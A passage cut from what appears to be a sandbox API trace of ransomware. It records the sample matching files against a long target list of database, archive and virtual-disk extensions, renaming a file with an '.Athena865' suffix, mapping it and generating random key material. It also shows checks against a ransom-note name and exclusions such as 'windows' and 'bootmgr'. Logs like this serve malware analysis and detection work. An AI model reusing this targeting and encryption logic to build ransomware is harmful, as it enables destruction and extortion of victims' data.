returned 1 [0115.816] lstrlenW (lpString=".sys") returned 4 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".sys") returned 1 [0115.817] lstrlenW (lpString="MSWDS_ES.LEX") returned 12 [0115.817] lstrlenW (lpString="bak") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="bak") returned 1 [0115.817] lstrlenW (lpString="ba_") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="ba_") returned 1 [0115.817] lstrlenW (lpString="dbb") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="dbb") returned 1 [0115.817] lstrlenW (lpString="vmdk") returned 4 [0115.817] lstrcmpiW (lpString1=".LEX", lpString2="vmdk") returned -1 [0115.817] lstrlenW (lpString="rar") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="rar") returned -1 [0115.817] lstrlenW (lpString="zip") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="zip") returned -1 [0115.817] lstrlenW (lpString="tgz") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="tgz") returned -1 [0115.817] lstrlenW (lpString="vbox") returned 4 [0115.817] lstrcmpiW (lpString1=".LEX", lpString2="vbox") returned -1 [0115.817] lstrlenW (lpString="vdi") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="vdi") returned -1 [0115.817] lstrlenW (lpString="vhd") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="vhd") returned -1 [0115.817] lstrlenW (lpString="vhdx") returned 4 [0115.817] lstrcmpiW (lpString1=".LEX", lpString2="vhdx") returned -1 [0115.817] lstrlenW (lpString="avhd") returned 4 [0115.817] lstrcmpiW (lpString1=".LEX", lpString2="avhd") returned -1 [0115.817] lstrlenW (lpString="db") returned 2 [0115.817] lstrcmpiW (lpString1="EX", lpString2="db") returned 1 [0115.817] lstrlenW (lpString="db2") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="db2") returned 1 [0115.817] lstrlenW (lpString="db3") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="db3") returned 1 [0115.817] lstrlenW (lpString="dbf") returned 3 [0115.817] lstrcmpiW (lpString1="LEX", lpString2="dbf") returned 1 [0115.818] lstrlenW (lpString="mdf") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="mdf") returned -1 [0115.818] lstrlenW (lpString="mdb") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="mdb") returned -1 [0115.818] lstrlenW (lpString="sql") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="sql") returned -1 [0115.818] lstrlenW (lpString="sqlite") returned 6 [0115.818] lstrcmpiW (lpString1="ES.LEX", lpString2="sqlite") returned -1 [0115.818] lstrlenW (lpString="sqlite3") returned 7 [0115.818] lstrcmpiW (lpString1="_ES.LEX", lpString2="sqlite3") returned -1 [0115.818] lstrlenW (lpString="sqlitedb") returned 8 [0115.818] lstrcmpiW (lpString1="S_ES.LEX", lpString2="sqlitedb") returned -1 [0115.818] lstrlenW (lpString="xml") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="xml") returned -1 [0115.818] lstrlenW (lpString="$er") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="$er") returned 1 [0115.818] lstrlenW (lpString="4dd") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="4dd") returned 1 [0115.818] lstrlenW (lpString="4dl") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="4dl") returned 1 [0115.818] lstrlenW (lpString="^^^") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="^^^") returned 1 [0115.818] lstrlenW (lpString="abs") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="abs") returned 1 [0115.818] lstrlenW (lpString="abx") returned 3 [0115.818] lstrcmpiW (lpString1="LEX", lpString2="abx") returned 1 [0115.818] lstrlenW (lpString="accdb") returned 5 [0115.818] lstrcmpiW (lpString1="S.LEX", lpString2="accdb") returned 1 [0115.818] lstrlenW (lpString="accdc") returned 5 [0115.818] lstrcmpiW (lpString1="S.LEX", lpString2="accdc") returned 1 [0115.818] lstrlenW (lpString="accde") returned 5 [0115.819] lstrcmpiW (lpString1="S.LEX", lpString2="accde") returned 1 [0115.819] lstrlenW (lpString="accdr") returned 5 [0115.819] lstrcmpiW (lpString1="S.LEX", lpString2="accdr") returned 1 [0115.819] lstrlenW (lpString="accdt") returned 5 [0115.819] lstrcmpiW (lpString1="S.LEX", lpString2="accdt") returned 1 [0115.819] lstrlenW (lpString="accdw") returned 5 [0115.819] lstrcmpiW (lpString1="S.LEX", lpString2="accdw") returned 1 [0115.819] lstrlenW (lpString="accft") returned 5 [0115.819] lstrcmpiW (lpString1="S.LEX", lpString2="accft") returned 1 [0115.819] lstrlenW (lpString="adb") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0115.819] lstrlenW (lpString="adb") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0115.819] lstrlenW (lpString="ade") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="ade") returned 1 [0115.819] lstrlenW (lpString="adf") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="adf") returned 1 [0115.819] lstrlenW (lpString="adn") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="adn") returned 1 [0115.819] lstrlenW (lpString="adp") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="adp") returned 1 [0115.819] lstrlenW (lpString="alf") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="alf") returned 1 [0115.819] lstrlenW (lpString="ask") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="ask") returned 1 [0115.819] lstrlenW (lpString="btr") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="btr") returned 1 [0115.819] lstrlenW (lpString="cat") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="cat") returned 1 [0115.819] lstrlenW (lpString="cdb") returned 3 [0115.819] lstrcmpiW (lpString1="LEX", lpString2="cdb") returned 1 [0115.820] lstrlenW (lpString="ckp") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="ckp") returned 1 [0115.820] lstrlenW (lpString="cma") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="cma") returned 1 [0115.820] lstrlenW (lpString="cpd") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="cpd") returned 1 [0115.820] lstrlenW (lpString="dacpac") returned 6 [0115.820] lstrcmpiW (lpString1="ES.LEX", lpString2="dacpac") returned 1 [0115.820] lstrlenW (lpString="dad") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="dad") returned 1 [0115.820] lstrlenW (lpString="dadiagrams") returned 10 [0115.820] lstrcmpiW (lpString1="WDS_ES.LEX", lpString2="dadiagrams") returned 1 [0115.820] lstrlenW (lpString="daschema") returned 8 [0115.820] lstrcmpiW (lpString1="S_ES.LEX", lpString2="daschema") returned 1 [0115.820] lstrlenW (lpString="db-journal") returned 10 [0115.820] lstrcmpiW (lpString1="WDS_ES.LEX", lpString2="db-journal") returned 1 [0115.820] lstrlenW (lpString="db-shm") returned 6 [0115.820] lstrcmpiW (lpString1="ES.LEX", lpString2="db-shm") returned 1 [0115.820] lstrlenW (lpString="db-wal") returned 6 [0115.820] lstrcmpiW (lpString1="ES.LEX", lpString2="db-wal") returned 1 [0115.820] lstrlenW (lpString="dbc") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="dbc") returned 1 [0115.820] lstrlenW (lpString="dbs") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="dbs") returned 1 [0115.820] lstrlenW (lpString="dbt") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="dbt") returned 1 [0115.820] lstrlenW (lpString="dbv") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="dbv") returned 1 [0115.820] lstrlenW (lpString="dbx") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="dbx") returned 1 [0115.820] lstrlenW (lpString="dcb") returned 3 [0115.820] lstrcmpiW (lpString1="LEX", lpString2="dcb") returned 1 [0115.821] lstrlenW (lpString="dct") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="dct") returned 1 [0115.821] lstrlenW (lpString="dcx") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="dcx") returned 1 [0115.821] lstrlenW (lpString="ddl") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="ddl") returned 1 [0115.821] lstrlenW (lpString="dlis") returned 4 [0115.821] lstrcmpiW (lpString1=".LEX", lpString2="dlis") returned -1 [0115.821] lstrlenW (lpString="dp1") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="dp1") returned 1 [0115.821] lstrlenW (lpString="dqy") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="dqy") returned 1 [0115.821] lstrlenW (lpString="dsk") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="dsk") returned 1 [0115.821] lstrlenW (lpString="dsn") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="dsn") returned 1 [0115.821] lstrlenW (lpString="dtsx") returned 4 [0115.821] lstrcmpiW (lpString1=".LEX", lpString2="dtsx") returned -1 [0115.821] lstrlenW (lpString="dxl") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="dxl") returned 1 [0115.821] lstrlenW (lpString="eco") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="eco") returned 1 [0115.821] lstrlenW (lpString="ecx") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="ecx") returned 1 [0115.821] lstrlenW (lpString="edb") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="edb") returned 1 [0115.821] lstrlenW (lpString="epim") returned 4 [0115.821] lstrcmpiW (lpString1=".LEX", lpString2="epim") returned -1 [0115.821] lstrlenW (lpString="fcd") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="fcd") returned 1 [0115.821] lstrlenW (lpString="fdb") returned 3 [0115.821] lstrcmpiW (lpString1="LEX", lpString2="fdb") returned 1 [0115.822] lstrlenW (lpString="fic") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="fic") returned 1 [0115.822] lstrlenW (lpString="flexolibrary") returned 12 [0115.822] lstrlenW (lpString="fm5") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="fm5") returned 1 [0115.822] lstrlenW (lpString="fmp") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="fmp") returned 1 [0115.822] lstrlenW (lpString="fmp12") returned 5 [0115.822] lstrcmpiW (lpString1="S.LEX", lpString2="fmp12") returned 1 [0115.822] lstrlenW (lpString="fmpsl") returned 5 [0115.822] lstrcmpiW (lpString1="S.LEX", lpString2="fmpsl") returned 1 [0115.822] lstrlenW (lpString="fol") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="fol") returned 1 [0115.822] lstrlenW (lpString="fp3") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="fp3") returned 1 [0115.822] lstrlenW (lpString="fp4") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="fp4") returned 1 [0115.822] lstrlenW (lpString="fp5") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="fp5") returned 1 [0115.822] lstrlenW (lpString="fp7") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="fp7") returned 1 [0115.822] lstrlenW (lpString="fpt") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="fpt") returned 1 [0115.822] lstrlenW (lpString="frm") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="frm") returned 1 [0115.822] lstrlenW (lpString="gdb") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="gdb") returned 1 [0115.822] lstrlenW (lpString="gdb") returned 3 [0115.822] lstrcmpiW (lpString1="LEX", lpString2="gdb") returned 1 [0115.822] lstrlenW (lpString="grdb") returned 4 [0115.822] lstrcmpiW (lpString1=".LEX", lpString2="grdb") returned -1 [0115.822] lstrlenW (lpString="gwi") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="gwi") returned 1 [0115.823] lstrlenW (lpString="hdb") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="hdb") returned 1 [0115.823] lstrlenW (lpString="his") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="his") returned 1 [0115.823] lstrlenW (lpString="ib") returned 2 [0115.823] lstrcmpiW (lpString1="EX", lpString2="ib") returned -1 [0115.823] lstrlenW (lpString="idb") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="idb") returned 1 [0115.823] lstrlenW (lpString="ihx") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="ihx") returned 1 [0115.823] lstrlenW (lpString="itdb") returned 4 [0115.823] lstrcmpiW (lpString1=".LEX", lpString2="itdb") returned -1 [0115.823] lstrlenW (lpString="itw") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="itw") returned 1 [0115.823] lstrlenW (lpString="jet") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="jet") returned 1 [0115.823] lstrlenW (lpString="jtx") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="jtx") returned 1 [0115.823] lstrlenW (lpString="kdb") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="kdb") returned 1 [0115.823] lstrlenW (lpString="kexi") returned 4 [0115.823] lstrcmpiW (lpString1=".LEX", lpString2="kexi") returned -1 [0115.823] lstrlenW (lpString="kexic") returned 5 [0115.823] lstrcmpiW (lpString1="S.LEX", lpString2="kexic") returned 1 [0115.823] lstrlenW (lpString="kexis") returned 5 [0115.823] lstrcmpiW (lpString1="S.LEX", lpString2="kexis") returned 1 [0115.823] lstrlenW (lpString="lgc") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="lgc") returned -1 [0115.823] lstrlenW (lpString="lwx") returned 3 [0115.823] lstrcmpiW (lpString1="LEX", lpString2="lwx") returned -1 [0115.823] lstrlenW (lpString="maf") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="maf") returned -1 [0115.824] lstrlenW (lpString="maq") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="maq") returned -1 [0115.824] lstrlenW (lpString="mar") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mar") returned -1 [0115.824] lstrlenW (lpString="marshal") returned 7 [0115.824] lstrcmpiW (lpString1="_ES.LEX", lpString2="marshal") returned -1 [0115.824] lstrlenW (lpString="mas") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mas") returned -1 [0115.824] lstrlenW (lpString="mav") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mav") returned -1 [0115.824] lstrlenW (lpString="maw") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="maw") returned -1 [0115.824] lstrlenW (lpString="mdbhtml") returned 7 [0115.824] lstrcmpiW (lpString1="_ES.LEX", lpString2="mdbhtml") returned -1 [0115.824] lstrlenW (lpString="mdn") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mdn") returned -1 [0115.824] lstrlenW (lpString="mdt") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mdt") returned -1 [0115.824] lstrlenW (lpString="mfd") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mfd") returned -1 [0115.824] lstrlenW (lpString="mpd") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mpd") returned -1 [0115.824] lstrlenW (lpString="mrg") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mrg") returned -1 [0115.824] lstrlenW (lpString="mud") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mud") returned -1 [0115.824] lstrlenW (lpString="mwb") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="mwb") returned -1 [0115.824] lstrlenW (lpString="myd") returned 3 [0115.824] lstrcmpiW (lpString1="LEX", lpString2="myd") returned -1 [0115.825] lstrlenW (lpString="ndf") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="ndf") returned -1 [0115.825] lstrlenW (lpString="nnt") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="nnt") returned -1 [0115.825] lstrlenW (lpString="nrmlib") returned 6 [0115.825] lstrcmpiW (lpString1="ES.LEX", lpString2="nrmlib") returned -1 [0115.825] lstrlenW (lpString="ns2") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="ns2") returned -1 [0115.825] lstrlenW (lpString="ns3") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="ns3") returned -1 [0115.825] lstrlenW (lpString="ns4") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="ns4") returned -1 [0115.825] lstrlenW (lpString="nsf") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="nsf") returned -1 [0115.825] lstrlenW (lpString="nv") returned 2 [0115.825] lstrcmpiW (lpString1="EX", lpString2="nv") returned -1 [0115.825] lstrlenW (lpString="nv2") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="nv2") returned -1 [0115.825] lstrlenW (lpString="nwdb") returned 4 [0115.825] lstrcmpiW (lpString1=".LEX", lpString2="nwdb") returned -1 [0115.825] lstrlenW (lpString="nyf") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="nyf") returned -1 [0115.825] lstrlenW (lpString="odb") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="odb") returned -1 [0115.825] lstrlenW (lpString="odb") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="odb") returned -1 [0115.825] lstrlenW (lpString="oqy") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="oqy") returned -1 [0115.825] lstrlenW (lpString="ora") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="ora") returned -1 [0115.825] lstrlenW (lpString="orx") returned 3 [0115.825] lstrcmpiW (lpString1="LEX", lpString2="orx") returned -1 [0115.826] lstrlenW (lpString="owc") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="owc") returned -1 [0115.826] lstrlenW (lpString="p96") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="p96") returned -1 [0115.826] lstrlenW (lpString="p97") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="p97") returned -1 [0115.826] lstrlenW (lpString="pan") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="pan") returned -1 [0115.826] lstrlenW (lpString="pdb") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="pdb") returned -1 [0115.826] lstrlenW (lpString="pdm") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="pdm") returned -1 [0115.826] lstrlenW (lpString="pnz") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="pnz") returned -1 [0115.826] lstrlenW (lpString="qry") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="qry") returned -1 [0115.826] lstrlenW (lpString="qvd") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="qvd") returned -1 [0115.826] lstrlenW (lpString="rbf") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="rbf") returned -1 [0115.826] lstrlenW (lpString="rctd") returned 4 [0115.826] lstrcmpiW (lpString1=".LEX", lpString2="rctd") returned -1 [0115.826] lstrlenW (lpString="rod") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="rod") returned -1 [0115.826] lstrlenW (lpString="rodx") returned 4 [0115.826] lstrcmpiW (lpString1=".LEX", lpString2="rodx") returned -1 [0115.826] lstrlenW (lpString="rpd") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="rpd") returned -1 [0115.826] lstrlenW (lpString="rsd") returned 3 [0115.826] lstrcmpiW (lpString1="LEX", lpString2="rsd") returned -1 [0115.826] lstrlenW (lpString="sas7bdat") returned 8 [0115.826] lstrcmpiW (lpString1="S_ES.LEX", lpString2="sas7bdat") returned -1 [0115.827] lstrlenW (lpString="sbf") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="sbf") returned -1 [0115.827] lstrlenW (lpString="scx") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="scx") returned -1 [0115.827] lstrlenW (lpString="sdb") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="sdb") returned -1 [0115.827] lstrlenW (lpString="sdc") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="sdc") returned -1 [0115.827] lstrlenW (lpString="sdf") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="sdf") returned -1 [0115.827] lstrlenW (lpString="sis") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="sis") returned -1 [0115.827] lstrlenW (lpString="spq") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="spq") returned -1 [0115.827] lstrlenW (lpString="te") returned 2 [0115.827] lstrcmpiW (lpString1="EX", lpString2="te") returned -1 [0115.827] lstrlenW (lpString="teacher") returned 7 [0115.827] lstrcmpiW (lpString1="_ES.LEX", lpString2="teacher") returned -1 [0115.827] lstrlenW (lpString="tmd") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="tmd") returned -1 [0115.827] lstrlenW (lpString="tps") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="tps") returned -1 [0115.827] lstrlenW (lpString="trc") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="trc") returned -1 [0115.827] lstrlenW (lpString="trc") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="trc") returned -1 [0115.827] lstrlenW (lpString="trm") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="trm") returned -1 [0115.827] lstrlenW (lpString="udb") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="udb") returned -1 [0115.827] lstrlenW (lpString="udl") returned 3 [0115.827] lstrcmpiW (lpString1="LEX", lpString2="udl") returned -1 [0115.828] lstrlenW (lpString="usr") returned 3 [0115.828] lstrcmpiW (lpString1="LEX", lpString2="usr") returned -1 [0115.828] lstrlenW (lpString="v12") returned 3 [0115.828] lstrcmpiW (lpString1="LEX", lpString2="v12") returned -1 [0115.828] lstrlenW (lpString="vis") returned 3 [0115.828] lstrcmpiW (lpString1="LEX", lpString2="vis") returned -1 [0115.828] lstrlenW (lpString="vpd") returned 3 [0115.828] lstrcmpiW (lpString1="LEX", lpString2="vpd") returned -1 [0115.828] lstrlenW (lpString="vvv") returned 3 [0115.828] lstrcmpiW (lpString1="LEX", lpString2="vvv") returned -1 [0115.828] lstrlenW (lpString="wdb") returned 3 [0115.828] lstrcmpiW (lpString1="LEX", lpString2="wdb") returned -1 [0115.828] lstrlenW (lpString="wmdb") returned 4 [0115.828] lstrcmpiW (lpString1=".LEX", lpString2="wmdb") returned -1 [0115.828] lstrlenW (lpString="wrk") returned 3 [0115.828] lstrcmpiW (lpString1="LEX", lpString2="wrk") returned -1 [0115.828] lstrlenW (lpString="xdb") returned 3 [0115.828] lstrcmpiW (lpString1="LEX", lpString2="xdb") returned -1 [0115.828] lstrlenW (lpString="xld") returned 3 [0115.828] lstrcmpiW (lpString1="LEX", lpString2="xld") returned -1 [0115.828] lstrlenW (lpString="xmlff") returned 5 [0115.828] lstrcmpiW (lpString1="S.LEX", lpString2="xmlff") returned -1 [0115.828] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.Athena865") returned 75 [0115.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.athena865"), dwFlags=0x1) returned 1 [0115.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.829] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=395651) returned 1 [0115.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0115.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.830] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.830] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.830] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.830] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60c90, lpName=0x0) returned 0x154 [0115.832] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60c90) returned 0x2d50000 [0115.852] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.853] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.853] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.854] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0115.857] CloseHandle (hObject=0x154) returned 1 [0115.857] CloseHandle (hObject=0x17c) returned 1 [0115.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0115.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.859] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".") returned 1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="..") returned 1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="windows") returned -1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="bootmgr") returned 1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="temp") returned -1 [0115.859] lstrcmpiW 